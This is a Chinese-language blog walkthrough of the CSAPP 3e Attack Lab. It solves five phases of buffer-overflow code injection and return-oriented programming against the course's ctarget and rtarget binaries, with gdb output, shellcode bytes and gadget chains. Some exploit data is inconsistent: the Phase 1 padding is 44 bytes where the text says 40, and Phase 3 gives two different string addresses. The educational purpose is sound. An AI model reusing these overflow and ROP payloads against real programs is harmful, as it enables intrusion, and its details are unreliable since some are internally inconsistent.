您的位置:首页 > 移动开发

CSAPP 3e Attack lab

2016-02-17 21:55 375 查看
总结一下CSAPP第三版的各个lab。

这里介绍的是Attack lab,主要考察code-injection、return-oriented-programming攻击的理解,和gdb,objdump的简单使用。

首先登陆网站http://csapp.cs.cmu.edu/3e/labs.html。Windows下点击Self-Study Handout获取压缩包。我的工作环境是ubuntu,64位操作系统,使用wget指令直接下载。(chrome点击F12选取元素获取下载地址)tar解压。

请务必阅读一下http://csapp.cs.cmu.edu/3e/attacklab.pdf的官方说明。

这个实验主要是针对第三版的二三章,关于缓冲区溢出攻击的练习。与第二版不同之处在于增加了ROP(Return-Oriented Programming)的攻击手段。单纯的缓冲区溢出攻击容易受到堆栈随机化,金丝雀防护的制约。而ROP攻击利用程序中已有的汇编代码片段组合出需要执行的指令。推荐http://drops.wooyun.org/tips/3071这篇文章,进一步讲述了Blind Return Oriented Programming (BROP) Attack。看完之后如果感觉理解有困难,可以浏览一遍http://www.scs.stanford.edu/brop/bittau-brop-slides.pdf

这里假定已经大致浏览过说明,对各个文件的内容有了解。

简要 说明一下:

cookie.txt:存放你攻击用的标识符

rtarget:执行return-oriented-programming攻击的程序

ctarget:执行code-injection攻击的程序

farm.c:“gadget farm产生代码片段用的

hex2raw:生成攻击字符串用的

实验分为5个部分。

Phase 1

首先反汇编可执行程序,生成汇编代码。

objdump -d ctarget > ctarget.d

这一关的任务是从test函数跳转到touch1,。

test如下:

void test() {
int val;
val = getbuf();
printf("No exploit. Getbuf returned 0x%x\n", val);
}


汇编如下:

test:

0000000000401968 <test>:
401968:   48 83 ec 08             sub    $0x8,%rsp
40196c:   b8 00 00 00 00          mov    $0x0,%eax
401971:   e8 32 fe ff ff          callq  4017a8 <getbuf>
401976:   89 c2                   mov    %eax,%edx
401978:   be 88 31 40 00          mov    $0x403188,%esi
40197d:   bf 01 00 00 00          mov    $0x1,%edi
401982:   b8 00 00 00 00          mov    $0x0,%eax
401987:   e8 64 f4 ff ff          callq  400df0 <__printf_chk@plt>
40198c:   48 83 c4 08             add    $0x8,%rsp


这里根据提示直接溢出覆盖getbuf的缓冲区,填写touch1的地址空间即可。

getbuf:

00000000004017a8 <getbuf>:
4017a8:   48 83 ec 28             sub    $0x28,%rsp
4017ac:   48 89 e7                mov    %rsp,%rdi
4017af:   e8 8c 02 00 00          callq  401a40 <Gets>
4017b4:   b8 01 00 00 00          mov    $0x1,%eax
4017b9:   48 83 c4 28             add    $0x28,%rsp
4017bd:   c3                      retq
4017be:   90                      nop
4017bf:   90                      nop


touch1:

00000000004017c0 <touch1>:
4017c0:   48 83 ec 08             sub    $0x8,%rsp
4017c4:   c7 05 0e 2d 20 00 01    movl   $0x1,0x202d0e(%rip)        # 6044dc <vlevel>
4017cb:   00 00 00
4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi
4017d3:   e8 e8 f4 ff ff          callq  400cc0 <puts@plt>
4017d8:   bf 01 00 00 00          mov    $0x1,%edi
4017dd:   e8 ab 04 00 00          callq  401c8d <validate>
4017e2:   bf 00 00 00 00          mov    $0x0,%edi
4017e7:   e8 54 f6 ff ff          callq  400e40 <exit@plt>


buf的起始地址为%rsp,然后大小为0x28(40)字节,只要填充着四十个字节之后,追加touch1的地址作为返回地址即可:0x4017c0。64位地址格式,高位补充0,完整地址为0x00000000004017c0。注意写汇编时的大小端问题!!!直接看代码就可以看出是小端。

4017ce:   bf c5 30 40 00          mov    $0x4030c5,%edi


或者使用gdb调试一下:

b设置断点,r为运行,加参数-q是因为实验为本地实验,不提交。x输出一下rsp寄存器内容,x/b显示单字节,可以看到是从高位开始。

gdb ctarget
(gdb) b test
Breakpoint 1 at 0x401968: file visible.c, line 90.
(gdb) r -q
Starting program: /home/ubuntu/workspace/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, test () at visible.c:90
90      visible.c: No such file or directory.
(gdb) x/gx $rsp
0x5561dcb0:     0x0000000000401f24
(gdb) x/b
0x5561dcb8:     0x00
(gdb)


因为是小端模式,所以追加的地址格式为c0 17 40 00 00 00 00 00。vim一个txt或者hex文件,内容如下(30换成CC什么的也可以):

30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 30
c0 17 40 00 00 00 00 00


然后调用下面命令查看结果(参考说明书有其他写法):

cat ctarget11.txt | ./hex2raw | ./ctarget -q


Phase 2

第二关在第一关的基础上增加了参数传递。

下面是touch2代码:

void touch2(unsigned val)
{
vlevel = 2; /* Part of validation protocol */
if (val == cookie) {
printf("Touch2!: You called touch2(0x%.8x)\n", val);
validate(2);
} else {
printf("Misfire: You called touch2(0x%.8x)\n", val);
fail(2);
}
exit(0);
}


touch2汇编:

00000000004017ec <touch2>:
4017ec:   48 83 ec 08             sub    $0x8,%rsp
4017f0:   89 fa                   mov    %edi,%edx
4017f2:   c7 05 e0 2c 20 00 02    movl   $0x2,0x202ce0(%rip)        # 6044dc <vlevel>
4017f9:   00 00 00
4017fc:   3b 3d e2 2c 20 00       cmp    0x202ce2(%rip),%edi        # 6044e4 <cookie>
401802:   75 20                   jne    401824 <touch2+0x38>
401804:   be e8 30 40 00          mov    $0x4030e8,%esi
401809:   bf 01 00 00 00          mov    $0x1,%edi
40180e:   b8 00 00 00 00          mov    $0x0,%eax
401813:   e8 d8 f5 ff ff          callq  400df0 <__printf_chk@plt>
401818:   bf 02 00 00 00          mov    $0x2,%edi
40181d:   e8 6b 04 00 00          callq  401c8d <validate>
401822:   eb 1e                   jmp    401842 <touch2+0x56>
401824:   be 10 31 40 00          mov    $0x403110,%esi
401829:   bf 01 00 00 00          mov    $0x1,%edi
40182e:   b8 00 00 00 00          mov    $0x0,%eax
401833:   e8 b8 f5 ff ff          callq  400df0 <__printf_chk@plt>
401838:   bf 02 00 00 00          mov    $0x2,%edi
40183d:   e8 0d 05 00 00          callq  401d4f <fail>
401842:   bf 00 00 00 00          mov    $0x0,%edi
401847:   e8 f4 f5 ff ff          callq  400e40 <exit@plt>


首先汇编函数的第一个参数储存在%edi中,所以我们的目标就是把cookie值存储到%edi中,然后跳转到touch2。注入代码如下:

movq $0x59b997fa,%rdi
pushq $0x004017ec
retq


这里可以把用gcc和objdump把汇编代码翻译为机器码。以上代码存储为insertValue.s 。

gcc -c insertValue.s
objdump -d insertValue.o  > insertValue.d


得到如下机器码:

insertValue.o:     file format elf64-x86-64

Disassembly of section .text:

0000000000000000 <.text>:
0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
7:   68 ec 17 40 00          pushq  $0x4017ec
c:   c3                      retq


然后使用上述字节码,填充到40字节,追加%rsp的地址作为返回地址,来执行这些代码。

下面使用gdb获取%rsp地址。在getbuf中的Gets那里打一个断点,查看一下rsp地址。

gdb ctarget
(gdb) b *0x4017af
Breakpoint 1 at 0x4017af: file buf.c, line 14.
(gdb) r -q
Starting program: /home/ubuntu/workspace/target1/ctarget -q
Cookie: 0x59b997fa

Breakpoint 1, 0x00000000004017af in getbuf () at buf.c:14
14      buf.c: No such file or directory.
(gdb) info registers
rax            0x0      0
rbx            0x55586000       1431855104
rcx            0x3a676e6972747320       4208453775971873568
rdx            0xc      12
rsi            0x7ffff7dd59e0   140737351866848
rdi            0x5561dc78       1432476792
rbp            0x55685fe8       0x55685fe8
rsp            0x5561dc78       0x5561dc78
r8             0x0      0
r9             0x4032b4 4207284
r10            0x7ffff7fe0740   140737354008384
r11            0x7ffff7aa15c0   140737348507072
r12            0x2      2
r13            0x0      0
r14            0x0      0
r15            0x0      0
rip            0x4017af 0x4017af <getbuf+7>
eflags         0x216    [ PF AF IF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0


或者使用

(gdb) ctarget

(gdb) b *(getbuf+14)
(gdb) run -q
Starting program

(gdb) p/x $rsp


这里可以看到地址为0x5561dc78,所以我们得到如下文件ctarget21.txt:

48 c7 c7 fa 97 b9 59 68 ec 17
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00


然后调用下面命令查看结果(参考说明书有其他写法):

cat ctarget21.txt | ./hex2raw | ./ctarget -q


Phase 3

这一关需要把cookie转化成字符串传递到touch3.

void touch3(char *sval)
{
if (hexmatch(cookie, sval)) {
printf("Touch3!: You called touch3(\"%s\")\n", sval);
validate(3);
} else {
printf("Misfire: You called touch3(\"%s\")\n", sval);
fail(3);
}
exit(0);
}


注意这里的问题,首先是cookie的存放位置,如果存放到buf里,那接下来的hexmatch可能会覆盖它的堆栈,但是buf的父堆栈是安全的,我们把touch3的地址放到父堆栈的顶部就可以了。

我们首先构造注入代码,touch3的地址为0x4018fa,根据上一关我们已经得到的%rsp地址0x5561dc78,返回地址应为%rsp+0x28(保存代码执行地址的位置),然后字符串地址应为%rsp+0x30(48).

movq $0x5561dc98,%rdi
pushq $0x004018fa
retq
~


保存为bufInsert.s(原谅我乱起的名字,要知道,变量命名是程序员第一难题)。

gcc -c bufInsert.s
objdump -d bufInsert.o  > bufInsert.d


得到如下代码:

0:   48 c7 c7 98 dc 61 55    mov    $0x5561dc98,%rdi
7:   68 fa 18 40 00          pushq  $0x4018fa
c:   c3                      retq


接着构造字符串,我的cookie是0x59b997fa,这里需要转换成ASCII格式,使用man ascii查看即可,我的对应ascii码为35 39 62 39 39 37 66 61 00。

总结一下,文件应该有以下几个部分,首先是注入的代码以及填充字节,然后是注入代码的地址,最后是字符串。构造ctarget31.txt如下:

48 c7 c7 a8 dc 61 55 68 fa 18
40 00 c3 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30
78 dc 61 55 00 00 00 00
35 39 62 39 39 37 66 61 00


执行:

cat ctarget31.txt | ./hex2raw | ./ctarget -q


对啦!!看一下成功的样例:

Cookie: 0x59b997fa
Type string:Touch3!: You called touch3("59b997fa")
Valid solution for level 3 with target ctarget
PASS: Would have posted the following:
user id bovik
course  15213-f15
lab     attacklab
result  1:PASS:0xffffffff:ctarget:3:48 C7 C7 A8 DC 61 55 68 FA 18 40 00 C3 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 78 DC 61 55 00 00 00 00 35 39 62 39 39 37 66 61 00


Phase 4

下面的两关都是使用ROP攻击的例子了,因为栈随机化,所以不能使用固定的%rsp地址跳转,有些区域还会禁止代码可执行,这里使用ROP,用程序自身的代码片段来构造攻击。

这里的目标和Phase2一样,传递cookie(0x59b997fa)到touch2(0x4017ec)。

就是如何把cookie传递到%edi里面的问题,最简单的想法是把cookie存到%rsp里面,然后弹出,但是没有找到
popq %$rdi
(字节码5f,查询开始的pdf手册可得)。但是找到了代表
popq %rax
的字节码58。代码地址如下(objdump rtarget可得):

00000000004019a7 <addval_219>:
4019a7:   8d 87 51 73 58 90       lea    -0x6fa78caf(%rdi),%eax
4019ad:   c3                      retq


地址为
0x4019ab,gadget1
!!!!

后续动作可以利用下面代码完成:

popq %rax
movq %rax %edi
ret


movq %rax %edi
字节码为
48 89 c7 c3


在下面这段代码找到:

00000000004019c3 <setval_426>:
4019c3:   c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
4019c9:   c3                      retq


起始地址为
0x4019c5
,
gadget2


总结一下,文件应该包含以下几部分,首先是填充区,然后是gadget的返回地址,cookie,gadget2的返回地址,touch2的地址。构造ctarget4.txt文件如下:

cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ab 19 40 00 00 00 00 00
fa 97 b9 59 00 00 00 00
c5 19 40 00 00 00 00 00
ec 17 40 00 00 00 00 00


执行:

cat ctarget4.txt | ./hex2raw | ./rtarget -q


Phase 5

这一关目标和Phase3一样,使用cookie构造字符串传递到touch3,使用rop的攻击手段。

首先寻找和%rsp相关的代码。

4889e0           movq %rsp, %rax


找到如下片段:

0000000000401aab <setval_350>:
401aab:   c7 07 48 89 e0 90       movl   $0x90e08948,(%rdi)
401ab1:   c3                      retq


第一个
gadget1
地址为
0x401aad


接下来我们需要一个可以递增%rax的代码片段来指向我们的cookie地址。

找到代表
add $0x37, %al
04 37


00000000004019d6 <add_xy>:
4019d6:   48 8d 04 37             lea    (%rdi,%rsi,1),%rax
4019da:   c3                      retq


第二个
gadget2
地址为
0x4019d8


接下来需要%rax内容移动到%rdi中,找到代表
mov %rax, %rdi
48 89 c7


片段如下:

00000000004019a0 <addval_273>:
4019a0:   8d 87 48 89 c7 c3       lea    -0x3c3876b8(%rdi),%eax
4019a6:   c3                      retq


第三个
gadget3
地址为
0x4019a2


现在总结一下,攻击的文件应该有如下部分,填充区1,gadget1,gadget2,gadget3,touch3的地址,填充区2,cookie。第二个填充区的大小为55(0x37)-3*8=31字节。最后构造文件ctarget5.txt如下:

cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
cc cc cc cc cc cc cc cc cc cc
ad 1a 40 00 00 00 00 00
d8 19 40 00 00 00 00 00
a2 19 40 00 00 00 00 00
fa 18 40 00 00 00 00 00
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd dd dd dd dd dd dd dd dd dd
dd
35 39 62 39 39 37 66 61 00


执行:

cat ctarget5.txt | ./hex2raw | ./rtarget -q
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: